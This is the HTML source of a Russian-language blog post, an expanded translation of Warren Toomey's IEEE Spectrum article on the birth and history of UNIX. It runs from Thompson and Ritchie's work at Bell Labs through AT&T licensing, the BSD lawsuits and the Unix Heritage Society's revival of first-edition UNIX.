margin-right: 1em;"><br /></a></div><br /><div class="separator" style="clear: both; text-align: center;"><a href="http://2.bp.blogspot.com/-OWkvS9eQj-c/TvKEM2s7nvI/AAAAAAAACP8/Avs6pVJHgVs/s1600/1971192.jpeg" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://2.bp.blogspot.com/-OWkvS9eQj-c/TvKEM2s7nvI/AAAAAAAACP8/Avs6pVJHgVs/s1600/1971192.jpeg" /></a></div><div color="#666666" style="color: rgb(102, 102, 102);"><br /></div><div class="artImgCptn" style="color: rgb(102, 102, 102);"><span style="font-size: x-small;"><b>На фото - отцы UNIX</b>:  Ken Thompson [сидит] набирает программу на клавиатуре, Dennis Ritchie [стоит] рядом. Это 1972 год, вскоре после того, как они и их коллеги по Bell Labs создали UNIX.</span></div><br /><span class="" id="result_box" lang="ru">Томпсон, <span class="hps">Ритчи</span>, и </span><span class="" id="result_box" lang="ru">Rudd <span class="hps">Canaday</span></span><span class="" id="result_box" lang="ru"> из <span class="hps">Bell Labs</span><span class="hps">,</span> начали делать наброски дизайна <span class="hps">для</span> <span class="hps">файловой системы.</span> <span class="hps">Томпсон</span> <span class="hps">написал</span> <span class="hps">основы</span> <span class="hps">новой операционной системы</span> <span class="hps">для</span> </span><span class="" id="result_box" lang="ru"><span class="hps">мэйнфрейма </span></span><span class="" id="result_box" lang="ru"><span class="hps">GE</span>-645, установленного в <span class="hps">лаборатории.</span> <span class="hps">Но конец проекта </span><span class="hps">Multics</span> означал и конец <span class="hps">GE</span>-645. <span class="hps">Томпсон</span> <span class="hps">понял</span>, что дальнейшее <span class="hps">программирование</span> под </span><span class="" id="result_box" lang="ru"><span class="hps">GE</span>-645 это путь в никуда</span><span class="" id="result_box" lang="ru"><span class="hps">.</span></span><br /><div class="separator" style="clear: both; text-align: center;"><a href="http://3.bp.blogspot.com/-u8Fq0TzC38M/TvKELwQsNeI/AAAAAAAACP0/P7SyNAeUSSc/s1600/12UnixAt40f2-710px-1321892316342.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="312" src="http://3.bp.blogspot.com/-u8Fq0TzC38M/TvKELwQsNeI/AAAAAAAACP0/P7SyNAeUSSc/s400/12UnixAt40f2-710px-1321892316342.jpg" width="400" /></a></div><span style="font-size: x-small;"><b>Один из первых мануалов:</b> Thompson (ken) и Ritchie (dmr) создали первый мануал для UNIX, один из которых показан выше. Первая версия мануала вышла в ноябре 1971.</span><br /><span style="color: rgb(153, 102, 51); font-size: 130%;"><span style="font-weight: bold;"><br /><br />С чего начался UNIX...</span></span><br /><span class="" id="result_box" lang="ru">П<span class="hps">осле кончины</span> <span class="hps">Multics в 1969 году, </span></span><span class="" id="result_box" lang="ru"><span class="hps">Томпсон</span> потратил часть <span class="hps">своего времени</span> на создание компьютерной игры <span class="hps">под названием</span> <i><span class="hps">Космические путешествия</span></i>, которая <span class="hps">моделировала</span> <span class="hps">все крупные</span> <span class="hps">тела в</span> <span class="hps">Солнечной системе</span>. <a href="http://www.blogger.com/goog_827214828">Игроку требовалось провести <span class="hps">космический корабль</span> </a><span class="hps"><a href="http://www.people.fas.harvard.edu/%7Elib215/reference/history/spacetravel.html" target="_blank">вокруг них</a>, пытаясь приземлиться на планеты.</span> </span><br /><blockquote class="tr_bq"><span class="" id="result_box" lang="ru" style="font-size: x-small;">Археологическая экспедиция <a href="http://mydebianblog.blogspot.com/p/author.html">экипажа блога</a> во главе с <a href="http://www.blogger.com/profile/12420257446841864325">автором</a> откопала скриншот и <a href="http://www.uvlist.net/game-164857-Space+Travel" target="_blank">описание</a> игрушки </span><span class="" id="result_box" lang="ru" style="font-size: x-small;"><i><span class="hps">Космические путешествия (</span></i></span><a href="http://cm.bell-labs.com/who/dmr/spacetravel.html"><span style="font-size: x-small;"><i>Space Travel</i></span></a><span class="" id="result_box" lang="ru" style="font-size: x-small;"><i><span class="hps">)</span></i></span><span style="font-size: x-small;"> дабы можно было заценить</span><span style="font-size: x-small;"> умопомрачительную графику:</span><br /><div class="separator" style="clear: both; text-align: center;"><a href="http://4.bp.blogspot.com/-JEIO6v6OcVc/TvKRzF5dV4I/AAAAAAAACQU/Zp0Oqs5Obx4/s1600/76273.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="235" src="http://4.bp.blogspot.com/-JEIO6v6OcVc/TvKRzF5dV4I/AAAAAAAACQU/Zp0Oqs5Obx4/s320/76273.jpg" width="320" /></a></div><br /><span style="font-size: x-small;">тех времён и возможности игрушки, которые были не менее впечатляющими: лететь вперёд и назад, повернуть вправо и влево, а так же изменение масштаба экрана больше-меньше.<br /><br />Важно, что Кен Томпсон <b>фактически изобрёл UNIX только для того, чтобы  поиграть в эту игрушку</b>. А ещё говорят, что игр под UNIX/Linux нет. А они есть - <a href="http://www.2lazy.nl/MartinsBlog/category/unix/" target="_blank">вот ещё одна</a>, крутой космический шутер <i>Spacewar!</i> образца 1962 года:</span></blockquote><div class="separator" style="clear: both; text-align: center;"><a href="http://4.bp.blogspot.com/-1DIriFpyptE/TvKRzyj5qrI/AAAAAAAACQY/PXW6fm13TyI/s1600/spacewar2.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://4.bp.blogspot.com/-1DIriFpyptE/TvKRzyj5qrI/AAAAAAAACQY/PXW6fm13TyI/s1600/spacewar2.jpg" /></a></div><blockquote class="tr_bq"><span style="font-size: x-small;">Проникнитесь, друзья. Это вам не Angry Birds на айфонах... </span></blockquote><span class="" id="result_box" lang="ru">Игра, написанная для <span class="hps">GE</span>-645, была <span class="hps">неуклюжа и очень дорогостояща - поиграть стоило </span><a href="http://cm.bell-labs.com/who/dmr/spacetravel.html"><span class="hps">примерно</span> </a><span class="hps"><a href="http://cm.bell-labs.com/who/dmr/spacetravel.html">75 долларов</a>, потому как процессорное время стоило недёшево</span><span class="hps">.</span> Бродя по лаборатории, Томпсон <span class="hps">наткнулся на</span><span class="hps"> </span> <span class="hps">PDP</span>-7, <span class="hps">мини-компьютер</span>, созданный <span class="hps">корпорацией</span> <span class="hps">Digital Equipment</span>, и купленный его <span class="hps">коллегами по</span> <span class="hps">Bell Labs</span>. Выглядел </span><span class="" id="result_box" lang="ru"><span class="hps"><i><b>мини</b></i>-компьютер</span></span><span class="" id="result_box" lang="ru"> </span><span class="" id="result_box" lang="ru"><span class="hps">PDP</span>-7 </span><span class="" id="result_box" lang="ru">вот так:</span><br /><div class="separator" style="clear: both; text-align: center;"><a href="http://1.bp.blogspot.com/-LYjcvf1X_vg/TvKN2mbfQgI/AAAAAAAACQI/QkTlU2iUA8w/s1600/pdp7.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="400" src="http://1.bp.blogspot.com/-LYjcvf1X_vg/TvKN2mbfQgI/AAAAAAAACQI/QkTlU2iUA8w/s400/pdp7.jpg" width="325" /></a></div><br /><span class="" id="result_box" lang="ru"><span class="hps">PDP</span>-7 выгодно отличался прекрасным видеовыводом, так что <span class="hps">Томпсон</span> <span class="hps">переписал игрушку </span></span><span class="" id="result_box" lang="ru"><i><span class="hps">Космические путешествия</span></i></span><span class="" id="result_box" lang="ru"><i> </i><span class="hps">для работы на</span> </span><span class="" id="result_box" lang="ru"><span class="hps">PDP</span>-7</span><span class="" id="result_box" lang="ru"><span class="hps">.</span></span><br /><blockquote class="tr_bq"><span class="" id="result_box" lang="ru" style="font-size: 100%;"><span class="hps">Это было <a href="http://www.people.fas.harvard.edu/%7Elib215/reference/history/spacetravel.html" target="_blank">куда сложнее</a>, чем может показаться на первый взгляд. </span></span><span style="font-size: 100%;"><span class="" id="result_box" lang="ru"><span title="He and I rewrote Space Travel to run on this machine.">Так как отцы UNIX </span><span title="The undertaking was more ambitious than it might seem; because we disdained all existing software, we had to write a floating-point arithmetic package, the pointwise specification of the graphic characters for the display, and a debugging subsystem that continuously displayed the contents of typed">презирали всё существующее программное обеспечение, они должны были реализов</span></span>ать арифметику с плавающей точкой <span style="color: rgb(153, 153, 153);">(отличная </span><a href="http://www.cse.msu.edu/%7Ecse320/Documents/FloatingPoint.pdf" style="color: rgb(153, 153, 153);">статья</a><span style="color: rgb(153, 153, 153);"> в тему, кстати - и это только </span><a href="http://docs.oracle.com/cd/E19957-01/806-3568/ncg_goldberg.html" style="color: rgb(153, 153, 153);">основы</a><span style="color: rgb(153, 153, 153);">...)</span>, и полную спецификацию графических символов для подсистемы отображения и отладки, которые непрерывно отображают содержимое положений игрушечного корабля в углу экрана. Все это было написано на ассемблере, и запускалось на компьютере GECOS, выдавая бумажные ленты для PDP-7.</span><span class="" id="result_box" lang="ru"><span class="hps"> </span></span></blockquote>После этого небольшого упражнения в программировании, произошло ещё одно событие: летом 1969 года жена Томпсона, Бонни, уехала к родителям, чтобы показать их новорожденного сына. Кен Томпсон решил воспользоваться своим временным холостяцким положением и написал за это время отличный код, который потом превратится в Unix для заброшенного мини-компьютера PDP-7.<br /><br />Название Unix связана с шуткой одного из коллег Томпсона: новая операционная система поддерживает только одного пользователя (собственно, Томпсона), и он рассматривал её как выхолощенную версию Multics - потому и нарёк новую операционную систему "Un-multiplexed Information and Computing Service". Это название позже превратилось в Unix, и вот как об этом вспоминают Dennis M. Ritchie (dmr) и  Ken Thompson (ken):<br />&lt;object height="315" width="420"&gt;&lt;param name="movie" value="http://www.youtube.com/v/ESjTlD606aQ?version=3&amp;amp;hl=en_GB&amp;amp;rel=0"/&gt;&lt;param name="allowFullScreen" value="true"/&gt;&lt;param name="allowscriptaccess" value="always"/&gt;&lt;embed allowfullscreen="true" allowscriptaccess="always" height="315" src="http://www.youtube.com/v/ESjTlD606aQ?version=3&amp;amp;hl=en_GB&amp;amp;rel=0" type="application/x-shockwave-flash" width="420"&gt;&lt;/embed&gt;&lt;/object&gt;<br /><br />Всё это непотребство творилось за спиной начальства, которое ничего не подозревало об этих игрищах.<br /><br /><span style="font-size: 100%;">Изначально </span><span class="" id="result_box" lang="ru" style="font-size: 100%;">Томпсон <span class="hps">использовал</span> <span class="hps">GE</span>-645 <span class="hps">для создания и</span> <span class="hps">компиляции</span> <span class="hps">программного обеспечения,</span> <span class="hps">который он затем</span> <span class="hps">загружал на</span> <span class="hps">PDP</span>-7.</span><span style="font-size: 100%;"> Вскоре Томпсон начал разработку файловой системы и пользовательских утилит: копирование, печать, удаление, правка файлов и, естественно, командный интерпретатор. <a href="http://www.people.fas.harvard.edu/%7Elib215/reference/history/spacetravel.html" target="_blank">Все программы писались на компьютере GECOS и переносились на PDP-7 на бумажной ленте</a>. Как только Ассемблер на PDP-7 заработал </span><span class="" id="result_box" lang="ru" style="font-size: 100%;">к <span class="hps">концу</span> <span class="hps">1969 года, Томпсон</span> <span class="hps">был в состоянии писать</span> код <span class="hps">операционной системы</span> собственно<span class="hps"> на</span> </span><span class="" id="result_box" lang="ru" style="font-size: 100%;"> <span class="hps">самом </span></span><span class="" id="result_box" lang="ru" style="font-size: 100%;"><span class="hps">PDP-7</span>. <span class="hps">Это был</span> <span class="hps">шаг в</span> <span class="hps">правильном направлении.</span> Однако <span class="hps">Томпсон и</span> <span class="hps">другие</span> исследователи <span class="hps">знали, что</span> миникомпьютер <span class="hps">PDP-7</span> уже был <span class="hps">устаревшей моделью, как знали они и то, что </span>руководство <span class="hps">лаборатории</span> <span class="hps">не собиралось</span> больше разрешать <span class="hps">исследований по</span> <span class="hps">операционным системам.</span></span><br /><br /><br /><span style="color: rgb(153, 102, 51); font-size: 130%;"><span style="font-weight: bold;">Подпольная разработка UNIX и первые успехи</span></span><br /><span class="" id="result_box" lang="ru"><span class="hps">Так что Томпсону и Ритчи нужно было проявить изобретательность, которую они блестяще продемонстрировали: в заявке они попросили</span> начальство <span class="hps">купить одну из</span> <span class="hps">новых</span> <span class="hps">мини-ЭВМ</span> <span class="hps">DEC</span>, а именно <span class="hps">PDP-11. Запрос был сформулирован в очень кучерявых терминах: о</span><span class="hps">ни написали, что</span> <span class="hps">целью</span> является <span class="hps">создание</span> <span class="hps">инструментов для редактирования и</span> <span class="hps">форматирования текста (то,</span> <span class="hps">что мы сейчас назвали бы <i>текстовый процессор</i></span>)<span class="hps">.</span> <span class="hps">Тот факт, что</span> <span class="hps">они также</span> <span class="hps">должны были написать</span> <span class="hps"><b>операционную систему</b> для</span> <span class="hps">новой машины</span>, чтобы запускать текстовый редактор, <span class="hps">был всего лишь</span><span class="hps"> сноской.</span></span><br /><br />Менеджмент клюнул на приманку, и заказ на PDP-11 был размещён в мае 1970 года. Хотя сам компьютер доставлен быстро, носители данных для него привезли лишь через полгода. В этом время, Томпсон, Ритчи и другие продолжали разрабатывать Unix на PDP-7. После установки носителей данных в PDP-11, исследователи перенесли свою навороченную операционную систему на новую машину. Затем они перетащили туда текстовый редактор <span style="border-bottom: 1px dotted; text-decoration: none;" title="MПрограмма форматирования текста RUNOFF, созданная Jerome H. Saltzer для операционной системы CTSS в MIT; название есть сокращение фразы I'll run off a document."> <span style="font-weight: bold;">roff</span></span>.<br /><br />Первыми ходовыми испытаниями для Unix стал патентный отдел AT&amp;T, где машинистки стали использовать Unix для набора, редактирования и оформления патентов. И это был <span style="font-weight: bold;">успех</span>! Патентное ведомство с удовольствием приняло новую систему, что дало исследователям достаточно авторитета, чтобы убедить руководство приобрести ещё одну машину, обновлённую и более мощную модель PDP-11, позволяющие продолжить их подпольные работы по Unix.<span class="" id="result_box" lang="ru"><span><br /><br /></span></span><a href="http://4.bp.blogspot.com/-V4T9RHYPqu8/TvKkrlC1j2I/AAAAAAAACQo/e1M7F3CyXas/s1600/5d4468a0.jpg"><img alt="" border="0" id="BLOGGER_PHOTO_ID_5688790347907698530" src="http://4.bp.blogspot.com/-V4T9RHYPqu8/TvKkrlC1j2I/AAAAAAAACQo/e1M7F3CyXas/s400/5d4468a0.jpg" style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; cursor: hand; width: 400px; height: 209px;" /></a><b style="color: rgb(102, 102, 102);">Движок Unix: </b><span style="color: rgb(102, 102, 102);">Ранние версии Unix запускались на мини-ЭВМ PDP-11 от Digital Equipment Corp. (DEC).</span><br /><span class="" id="result_box" lang="ru"><span><br />В первые дни </span></span><span class="" id="result_box" lang="ru"><span>Unix развивалась постоянно, так что идея выпуска именованных версий или релизов казалась неуместной. Но исследователи </span></span><span class="" id="result_box" lang="ru"><span> периодически </span></span><span class="" id="result_box" lang="ru"><span>выпускали новые издания руководства разработчика, так что ранние версии Unix назвались в честь каждого такого издания. Первое издание руководства было завершено в ноябре 1971 года.<br /></span></span><br /><span class="" id="result_box" lang="ru"><span>Так что же предлагали первые версии Unix, сделавшие её столь привлекательной?<br /><span style="font-style: italic;">Главным козырем</span> Unix было то, что она предоставляла иерархическую файловую систему,  позволявшую то, что мы сейчас принимаем как нечто само собой разумеющимся: файлы могут быть размещены в каталогах и подкаталогах.<br /><blockquote>При инициализации системы, известно только одно устройство файловой системы<br />(корневое устройство, root device), и его имя встроено в систему. Другие устройства и накопители присоединяются за счет монтирования других устройств, каждое из которых содержит свою собственную структуру каталогов. Когда устройство установлено, его ``корень'' крепится к ``листьям'' уже доступной иерархии. <span class="" id="result_box" lang="ru"><span class="hps">[<a href="http://dl.dropbox.com/u/8038890/mydebianblog/bstj57-6-1947_OCR.pdf">отсюда</a>, PDF 200 Kb]</span></span></blockquote>Каждый файл мог содержать не более 64 килобайт, и его имя могло быть не длиннее шести символов. Эти ограничения, кажущиеся такими неуклюжими сейчас, в то время были более чем адекватными.<br /><br />Хотя Unix якобы создавался для обработки текстов, единственным доступным редактором в 1971 году был ориентированный на строки <span style="font-weight: bold;">ed</span>. Сегодня, <span style="font-weight: bold;">ed</span> по-прежнему является текстовым редактором, гарантированно присутствующим на всех системах Unix. Помимо обработки текстов и общесистемных приложений, первая версия Unix включала такие игры, как <span style="font-style: italic;">блэкджек</span>, шахматы и крестики-нолики. Утилиты системного администратора включали сохранение и восстановления образов дисков на магнитную ленту, утилиты чтения и записи на бумажные ленты, а также программы для создания, проверки, монтирования и размонтирования съемных дисков.<br /><br />Самое замечательное заключалось в том, что система предлагала <span style="font-style: italic;">интерактивную</span> среду, которая позволяла работать в режиме разделения времени (time-sharing). Это позволяло нескольким пользователям использовать одну машину <span style="font-style: italic;">одновременно</span>. Были доступны различные языки программирования, в том числе BASIC, Fortran, ассемблер и язык B. Собственно, язык B является потомком BCPL (Basic Combined Programming Language, базовый комбинированный язык программирования), и в конечном итоге превратился в чрезвычайно популярный язык C, созданный Ритчи во время работы над Unix.</span></span><span class="" id="result_box" lang="ru"><span><br /></span></span><blockquote><span class="" id="result_box" lang="ru"><span class="hps atn">UNIX имела</span> <span class="hps">хорошие показатели </span> <span class="hps">надёжности для программного обеспечения</span><span> тех времён. Время автономной работы между</span><span class="hps"> сбоями программного обеспечения</span> <span class="hps" style="color: rgb(153, 153, 153);">(в зависимости </span><span style="color: rgb(153, 153, 153);"> </span><span class="hps" style="color: rgb(153, 153, 153);">от того, как часто над ней экспериментировали</span><span class="hps" style="color: rgb(153, 153, 153);">)</span> <span class="hps">значительно превышало</span> <span class="hps" style="font-style: italic;">две недели</span><span class="hps">. Главной причиной сбоев было аппаратное обеспечение и перебои в электросети. [<a href="http://dl.dropbox.com/u/8038890/mydebianblog/bstj57-6-1947_OCR.pdf">отсюда</a>, PDF 200 Kb]<br /></span></span></blockquote><span class="" id="result_box" lang="ru"><span>Первая версия Unix позволяла программистам вызывать 34 различных низкоуровневых процедуры, встроенных в операционную систему. Почти все эти системные вызовы по-прежнему доступны и до сих пор активно используется на современных Unix и Linux системах четыре десятилетия спустя. Для своего времени, первая версия Unix предоставляла удивительно мощную среду для разработки программного обеспечения. И это несмотря на то, что сердцем Unix были всего лишь 4200 строк кода, занимавшие жалкие 16 КБ оперативной памяти при запуске.<br /><br /><br /></span></span><span style="color: rgb(153, 102, 51); font-size: 130%;"><span style="font-weight: bold;">Влияние UNIX</span></span><br /><span class="" id="result_box" lang="ru"><span>Огромное влияние Unix можно отчасти объяснить элегантностью дизайна, простотой, портируемостью и удачным стечением обстоятельств. Но, пожалуй, более важным было преданное сообщество пользователей, быстро выросшее вокруг Unix.<br /><br />Всё было примерно так: в течение многих лет Unix оставались лишь исследовательским проектом Bell Labs, но к 1973 году авторы Unix сочли, что система была достаточно зрелой для того, чтобы выступить с докладом о ней на конференции Ассоциации вычислительной техники  (Association for Computing Machinery). Доклад можно скачать и прочитать:<br /><a href="http://pdos.csail.mit.edu/6.828/2004/readings/ritchie74unix.pdf" /><blockquote><a href="http://pdos.csail.mit.edu/6.828/2004/readings/ritchie74unix.pdf">Thompson, Ken, and Dennis M. Ritchie, The UNIX Time-Sharing System, Communications of the ACM, Vol. 17, No. 7, July 1974, pp. 365-375 (revised and reprinted in [Ritchie 1978])</a> [<a href="http://dl.dropbox.com/u/8038890/ritchie74unix.pdf">mirror</a>]</blockquote>Статья была опубликована в 1974 году в трудах АСМ, и её появление принесло шквал запросов на копии программного обеспечения.<br /><br />Это поставило AT&amp;T в трудное положение. Дело в том, что в 1956 году AT&amp;T пошло на соглашение с правительством США, по которому компании запрещалось продавать продукцию, не связанную напрямую с телефонами и телекоммуникациями, в обмен на её право монополии в междугородных телефонных услугах для всей страны. Так что Unix не мог быть продан в качестве продукта. Вместо этого AT&amp;T выпустила исходные коды Unix под лицензией, позволяющей использовать их любому желающему по цене носителей. Важная деталь: по тому же соглашению, AT&amp;T не могла оказывать поддержку Unix. На протяжении многих лет исследователи Bell Labs с гордостью демонстрировали это на Unix-конференциях слайдом, который гласил: "Без рекламы, без техподдержки, без багфиксов, деньги вперёд."<br /><br />В отсутствии других источников техподдержки, первые пользователи Unix объединились для взаимопомощи, образуя свободную сеть групп пользователей во всем мире. У них были исходные коды, что было плюсом. Так что эти первые пользователи Unix сами исправляли ошибки, создавали новые утилиты, и улучшали систему по своему усмотрению.<br /></span></span><br />Группа пользователей Usenix выступала в качестве центра по обмену программным обеспечением для Unix в США. Люди могли отправлять магнитные ленты с новым программным обеспечением или исправлениями и получать софт и исправления, которые Usenix получал от других. В Австралии, Университет Нового Южного Уэльса и Сиднейского университета, была создана более надежная версия Unix, Australian Unix Share Accounting Method, которая могла справиться с большим количеством одновременно работающих пользователей и отличалась более высокой производительностью.<br /><br />К середине 1970-х годов, среда, возникшая вокруг Unix, напоминала движение Open Source, столь распространенное сегодня. Пользователи повсюду с энтузиазмом расширяли и улучшали систему, и многие из этих улучшений отправлялись обратно в Bell Labs для включения в будущие релизы. Однако с увеличением популярности Unix, стервятники из AT&amp;T начали более пристально смотреть за тем, что пользователи делали с их системой.<br /><br />Человеком, привлёкшим их внимание, был Jogn Lions, учёный, преподававший в Университете Нового Южного Уэльса в Австралии. В 1977 году он опубликовал книгу, ставшую самой известной в то время - A Commentary on the Unix Operating System, содержащую прокомментированный основной исходный код Unix.<br /><br />Лицензионные условия Unix позволяли обмен исходным кодом, и изначально книга Лайонса продавалась лицензиатам Unix. Но к 1979 году адвокаты AT&amp;T запретили распространение и использование книги в академических кругах. Сообщество Unix, будучи анти-авторитарным, отреагировало на это так, как и ожидалось: копии книги распространялись самиздатом со скоростью лесного пожара. Многие до сих пор держат почти нечитаемые фотокопии оригинальной книги тех лет.<br /><br />Снующие всюду юристы AT&amp;T стали привычным явлением, даже в Bell Labs. Например, между шестым релизом Unix в 1975 году и седьмым в 1979 году, Томпсон собрал множество важных исправлений ошибок. Он хотел исправить их для пользователей Unix, но юристы компании сочли, что это будет являться одной из форм техподдержки и запретили релиз. Тем не менее, эти исправления вскоре стали широко распространены по неофициальным каналам. Например, Lou Katz, основателю и президенту Usenix, позвонили в один прекрасный день  и сказали, что если он придёт в определенное место на Mountain Avenue (где находилась Bell Labs) в 2 часа пополудни, он найдёт нечто интересное. Конечно же, Кац обнаружил магнитную ленту с исправлениями, которые быстро попали в руки бесчисленных пользователей.<br /><br />К концу 1970-х годов, Unix, начавшаяся десять лет назад как бунт против потери комфортной среды программирования (Multics), росла, как сорняк, по всему научному миру и ИТ-индустрии. Unix расцвёл в начале 1980-х и достиг вершины своей популярности в начале 1990-х.<br /><br /><a href="http://2.bp.blogspot.com/-KNlUsQN1un4/TxlFj2bLaCI/AAAAAAAACSQ/jep5vaO33VI/s1600/Unix_history-simple.png"><img alt="" border="0" id="BLOGGER_PHOTO_ID_5699663285621319714" src="http://2.bp.blogspot.com/-KNlUsQN1un4/TxlFj2bLaCI/AAAAAAAACSQ/jep5vaO33VI/s400/Unix_history-simple.png" style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; cursor: hand; width: 400px; height: 258px;" /></a><blockquote>Упрощённая карта версий UNIX (позаимствовано на <a href="http://upload.wikimedia.org/wikipedia/commons/5/50/Unix_history-simple.png">Викискладе</a>). Есть более <a href="http://www.levenez.com/unix/">подробная карта</a> в формате PDF.<br /></blockquote><br />По многим причинам, Unix с тех пор уступил дорогу другим коммерческим и некоммерческим системам. Но его наследие, эта элегантная, хорошо продуманная и комфортная среда разработки программного обеспечения, продолжает жить по сей день. В знак признания достижений, Томпсон и Ритчи получили <a href="http://articles.sfgate.com/2011-01-25/business/27047672_1_unix-dennis-ritchie-berkeley-software-distribution">Japan Prize в начале 2011 года</a>, увеличив коллекцию наград, которая включает National Medal of Technology and Innovation и Turing Award от Association of Computing Machinery.<br /><br /><br /><span style="color: rgb(153, 102, 51); font-size: 130%;"><span style="font-weight: bold;">UNIX жил, </span></span><span style="color: rgb(153, 102, 51); font-size: 130%;"><span style="font-weight: bold;">UNIX жив, </span></span><span style="color: rgb(153, 102, 51); font-size: 130%;"><span style="font-weight: bold;">UNIX будет жить.<br /></span></span>Unix действительно является одной из наиболее влиятельных операционных систем, когда-либо изобретённых. Прямые потомки Unix в настоящее время исчисляются сотнями. С одной стороны родословной находятся различные коммерческие версии Unix, появившиеся на рынке в 1980-х годах после падения монополии Bell System. С другой стороны - различные Unix-подобные операционные системы, предком которых была версия Unix, разработанная в Университете Калифорнии, Беркли (University of California, Berkeley), в том числе используемая <a href="http://www.apple.com/macosx/">Apple - OS X</a>. Именно Unix-подобные: разработчики Berkeley Software Distribution (<a href="http://oreilly.com/catalog/opensources/book/kirkmck.html">BSD</a>) Unix много работали над тем, чтобы удалить весь оригинальный код AT&amp;T, чтобы их и основанное на нём программное обеспечение могло распространяться свободно.<br /><br />Результаты этих усилий, однако, были поставлены под вопрос, когда филиал AT&amp;T, Unix System Laboratories, подал иск против Berkeley Design Software в 1992 году за права интеллектуальной собственности на данное программное обеспечение. Университет, в свою очередь, подал встречный иск против AT&amp;T. Последовавшая за этим судебная тяжба замедлила развитие свободных Unix-подобных систем, в том числе 386BSD, которая была разработана для Intel 386 - процессора, который использовался во многих компьютерах IBM.<br /><br />Линус Торвальдс говорил, что если бы эта операционная система была доступна в то время, он вряд ли создал бы Linux. А вышло так, что Unix передал эстафету Linux в двадцать первый век, работая на самых разных устройствах: от беспроводных роутеров, телевизоров, настольных компьютеров и смартфонов Android до кластеров и суперкомпьютеров.<br /><br />Хотя AT&amp;T быстро уладили правовые споры с Berkeley Design Software и Университетом Калифорнии, юридические тяжбы на тему украденной Linux интеллектуальной собственности Unix продолжаются до сих пор. К 2004 году было подано не менее пяти крупных исков. Не далее как в августе 2011 года, компания TSG Group (ранее известная как SCO Group), проиграла в суде дело о владении авторскими правами Unix.<br /><br />Судебные тяжбы по Unix - это, конечно, печально. С самого начала авторы и пользователи Unix делали всё возможное, чтобы создавать и делиться, даже если для этого требовалось бросить вызов власть предержащим. Такая самоотверженность резко контрастирует с жадностью, повлекшей последующие судебные баталии за обладание Unix.<br /><br /><br /><span style="color: rgb(153, 102, 51); font-size: 130%;"><span style="font-weight: bold;">Отдавая дань истории...</span></span><br />Мир компьютерного железа и программного обеспечения движется вперед поразительно быстро. Быстрый темп изменений для ИТ-специалистов, как правило, замечательная вещь. Но он приводит к тому, что мы забываем наше собственное прошлое, в том числе и важные уроки оного. Для решения этой проблемы, <a href="http://works.bepress.com/warren_toomey/">Warren Toomey</a> <span style="font-style: italic;">[автор оригинального текста]</span>, в 1995 году начал почтовую рассылку по поиску старых поклонников Unix. Эта работа переросла в Сообщество Наследия Unix (<a href="http://www.tuhs.org/wiki/The_Unix_Heritage_Society">Unix Heritage Society</a>). Цель сообщества - не только сохранить историю Unix, но также собрать и сохранить эти старые системы, вернув их к жизни. С помощью многих талантливых участников общества Наследия Unix, <a href="http://works.bepress.com/warren_toomey/">Warren Toomey</a> смог восстановить б<span style="font-weight: bold;">о</span>льшую часть старого программного обеспечения Unix в рабочем состоянии, в том числе первый компилятор C, созданный Ритчи в 1972 году, и первый релиз Unix, написанный на C в 1973 году.<br /><br />Долго ускользавшая от нас Чаша Грааля - первое издание Unix. Затем, в 2006 году, Al Kosso из<a href="http://www.computerhistory.org/"> Музея компьютерной истори</a>и  в Mountain View, штат Калифорния, <a href="http://minnie.tuhs.org/cgi-bin/utree.pl?file=V1">откопал печатную версию Unix от 1972 года</a>, которая не только описывала внутреннюю работу Unix, но также включала полный ассемблерный код ядра. Это была удивительная находка, примерно как обнаружение первого автомобиля Ford Model T, пылящегося в углу сарая. Но мы не просто хотели полюбоваться на это издалека - мы хотели запустить первую версию Unix снова.<br /><br />В 2008 году Tim Newsham, независимый программист, и я [Warren Toomey], собрали команду единомышленников-энтузиастов Unix, и решили воскресить эту древнюю систему. Работа была технически трудной и зачастую разочаровывающей, но в итоге мы создали копию первой версии Unix, и заставили её работать на эмуляторе PDP-11/20. Мы разослали сообщения, извещающие о нашем успехе всем, кому, как мы думали, это будет интересно. Томпсон, как всегда кратко, ответил: "Потрясающе". В самом деле, его детище удивительно, и я [<span style="font-style: italic;">Warren Toomey</span>] был рад сделать всё от меня зависящее, чтобы история Unix стала более известной.<br /><br /><br /><span style="color: rgb(153, 102, 51);">Ссылки</span>, собственно, в самом посте.<br />Узнать больше об <a href="http://www.faqs.org/docs/artu/ch02s01.html">истории UNIX можно по этой ссылке</a>, и вообще на <a href="http://www.livinginternet.com/">этом сайте</a> собрано много исторического материала по вычислительной технике. Так же доступна <a href="http://dc37.dawsoncollege.qc.ca/compsci/gmack/info/orig-unix-v1_1.htm">хронология событий тех лет</a>. Краткий <a href="http://vir.comtv.ru/unix-book/node4.html">пересказ</a> истории есть на и русском. Для любителей техноистории, на сайте Lucent есть <a href="http://www.alcatel-lucent.com/bstj/vol57-1978/bstj-vol57-issue06.html">архивная полка</a> с документами по UNIX. Также стоит заглянуть в статьи  Bell System Technical Journal, особенно в<span style="text-decoration: underline;"> </span><a href="http://www.alcatel-lucent.com/bstj/vol57-1978/articles/bstj57-6-1947.pdf" title="alcatel-lucent.com">эту</a>. <a href="http://www.blogger.com/profile/12420257446841864325">Автор перевода</a> несколько добавил материала, отсутствующего в оригинальной статье, и получил огромное удовольствие от припадания к истокам UNIX, чего и вам желает.<br /><br />Этот пост так же доступен в форматах:<br /><ul><li>Portable Document Format <a href="http://dl.dropbox.com/u/8038890/mydebianblog/strange-birth-and-long-life-of-unix.pdf">PDF</a> [730 Kb]</li><li>Open Document <a href="http://dl.dropbox.com/u/8038890/mydebianblog/strange-birth-and-long-life-of-unix.odt">ODT</a> [35 Kb]</li></ul><br /><span style="color: rgb(153, 102, 51);">Copyrights</span><br />Этот пост является расширенным переводом статьи <a href="http://spectrum.ieee.org/computing/software/the-strange-birth-and-long-life-of-unix/0" target="_blank">The Strange Birth and Long Life of Unix</a>  , автора Warren Toomey, из журнала IEEE Spectrum.<br /><br />This post is a translated version of the article <a href="http://spectrum.ieee.org/computing/software/the-strange-birth-and-long-life-of-unix/0" target="_blank">The Strange Birth and Long Life of Unix</a>, written by <span style="">By</span> Warren Toomey, in the IEEE Spectrum Magazine, December 2011    <div id="biogrp"><span style="font-family: sans-serif; font-size: 85%; color: red;"><br 